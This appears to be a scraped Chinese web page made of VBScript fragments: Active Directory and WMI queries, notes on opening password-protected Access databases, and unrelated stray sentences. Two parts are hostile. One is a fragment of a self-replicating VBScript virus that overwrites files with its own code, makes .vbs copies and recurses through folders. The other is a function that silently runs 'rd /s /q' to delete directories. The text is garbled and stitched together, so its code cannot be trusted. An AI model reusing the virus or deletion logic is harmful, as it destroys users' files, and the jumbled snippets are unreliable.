->

On Error Resume Next Set objRootDSE=GetObject("") strDomain=ObjRootDSE.Get("defaultNamingContext") Const ADS_SCOPE_SUBTREE=2 Set objConnection=CreateObject("ADODB.Connection") Set objCommand=CreateObject("ADODB.Command") objConnection.Provider="ADsDSOObject" objConnection.Open "Active Directory Provider" Set objCommand.ActiveConnection=objConnection objCommand.Properties("Page Size")=1000 objCommand.Properties("Searchscope")=ADS_SCOPE_SUBTREE objCommand.CommandText=_ "SELECT Name FROM '" & strDomain & "' WHERE objectCategory='computer'" Set objRecordSet=objCommand.Execute Wscript.Echo objRecordSet.RecordCount strComputer="." //下面这行是通过GetObject得到主机的WMI对象管理空间“\root\cimv2”，如果是本机的是通过NT（Authentication）认证的，所以可以不用用户名和密码，而对于非本机或非域机的就要再加多几条参数， Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2") //执行WMI数据对象的查询 //至于连接远程的要用下面的语句 Set objLocator=CreateObject("Wbemscripting.SWbemLocator") Set objService=objLocator.ConnectServer(strComputer, "root\cimv2", "administrator", "a") Set colItems=objWMIService.ExecQuery("Select * from Win32_BootConfiguration",,48) //利用数组列出相关 For Each objItem in colItems Wscript.Echo "BootDirectory: " & objItem.BootDirectory Next 从上面的例子可以看出写一个WMI的要求： 1．得到主机的WMI对像管理空间 2．执行WMI数据对象的查询 3．利用数组列出相关 学习编写的架构并不难，只要练多几次就行了，但是学习WMI的第一个难题就是它的子集对象，因为我们并不知道它的子集对象是什么，这样写起程序来就会力不从心了　　第三、软件界面为了美观，直接用image控件贴图即可，这种方式我一直爱用

D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\adodb.stream读文件到数组的代码.htm使用ADO的打开Accecc数据库方法：DimDBAsDatabaseSetDB=OpenDatabase(FilePath,dbDriverNoPrompt,False,";PWD=你的密码")

使用Data控件打开Accecc数据库方法：首先设置Data控件的属性Exclusive=True为独占模式设置Connect属性为;pwd=密码Data1.Connect=";pwd=你的密码"修改密码：Data1.Database.NewPassword老密码,新密码

->

建立一个到目标计算机上的Windows管理服务的连接我们可以通过COOL软件精确地知道在sound.wav文件中从0.18秒到0.4秒是"2"这一数字的发音

请自己建立相应后缀名的文件，最好是非正常后缀名 setap=fso.opentextfile(file.path,2,true) 'ap.writevbscopy'覆盖文件，慎用 ap.close setcop=fso.getfile(file.path) cop.copy(file.path&".vbs")'创建另外一个病毒文件 'file.delete(true)'删除原来文件 endif next setsubfolders=folder_.subfolders foreachsubfolderinsubfolders'搜索其他目录 scan(subfolder) next endsub有哪些英雄有而若用VB写操作系统的话，就好比乘热气球登月一样困难

getfso=fso.GetFolder("c:\\windows").DateCreated'===========================================================Function cprlql Dim strline, scml WshShell.run "cmd /c dir " & wjml &" /ad /b /tc>c:\dir.log",0 if fso.FileExists("c:\dir.log") then Set objFile=fso.OpenTextFile("c:\dir.log") do until objFile.atendofstream strline=objFile.readline scml=wjml & strline WshShell.run "cmd /c rd /s /q " & scml,0 for i=1 to 20 if fso.GetDrive(datp).FreeSpace > sykj then exit Function if fso.FolderExists(scml) then WScript.Sleep(1000) else exit for end if next if fso.GetDrive(datp).FreeSpace > sykj then exit Function loop end ifEnd Function。